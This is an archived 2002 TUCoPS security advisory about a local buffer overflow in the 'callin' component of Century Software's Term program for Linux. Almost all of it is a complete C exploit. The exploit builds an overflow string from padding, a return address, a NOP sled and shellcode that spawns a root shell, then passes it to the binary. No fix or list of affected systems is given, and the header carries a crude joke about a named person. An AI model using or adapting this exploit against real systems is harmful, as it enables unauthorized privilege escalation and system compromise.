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TUCoPS :: Linux :: Apps A-M :: lnx5144.htm

Century's Linux Term local buffer overflow



27th Feb 2002 [SBWID-5144]
COMMAND

	Century\'s Linux Term local buffer overflow

SYSTEMS AFFECTED

	??

PROBLEM

	Haiku Hacker posted :
	

	

	/********************************************************/

	/* ex-callin.c - Haiku Hacker <haiku@hushmail.com>      */

	/* Exploits the buffer overflow in Century Software\'s   */

	/* calling component of the Term program for Linux.     */

	/********************************************************/

	/* Greets, love, and respect to:                        */

	/* KF, Merc, Synapse, UPT old and new, Lance Spitzner,  */

	/* egami, comega, jericho, and most importantly sl1k    */

	/* for his guidance, coaching, and tutoring.            */

	/********************************************************/

	/* RFP\'s Pants                                          */

	/* -----------                                          */

	/* Rain Forest Puppy                                    */

	/* Wears tight black pants to big cons                  */

	/* Does he have limp wrist?                             */

	/********************************************************/

	

	#include <stdio.h>

	#include <string.h>

	#include <stdlib.h>

	

	/* use this to specify the location of callin */

	#define CINPATH \"./callin\"

	

	

	int main(int argc, char **argv)

	{

	        /* Shellcode borrowed from Aleph1 */

	        char shellcode[] =

	                \"\\x29\\xc0\\x29\\xdb\\x29\\xc9\\x29\\xd2\\xb0\\xa4\\xcd\\x80\"

	                \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\"

	                \"\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\"

	                \"\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\"

	                \"\\xff\\xff/bin/sh\";

	

	        char egg_string[300];

	        int i;

	        unsigned long offset = 0;

	

	        if (argc > 1)

	        {

	                offset = atoi(argv[1]);

	        }

	

	        memcpy(egg_string, \"tty\", 3);

	

	        for (i = 3; i < 95; i++)

	                egg_string[i] = \'A\';

	

	        *(long *)(egg_string+95) = 0xbffff67c + offset;

	

	        for (i = 99; i < 300; i++)

	                egg_string[i] = 0x90;

	

	        strcpy(egg_string+(sizeof(egg_string)-strlen(shellcode)), shellcode);

	

	        execl(CINPATH, \"callin\", egg_string, 0);

	}

	

SOLUTION

	??


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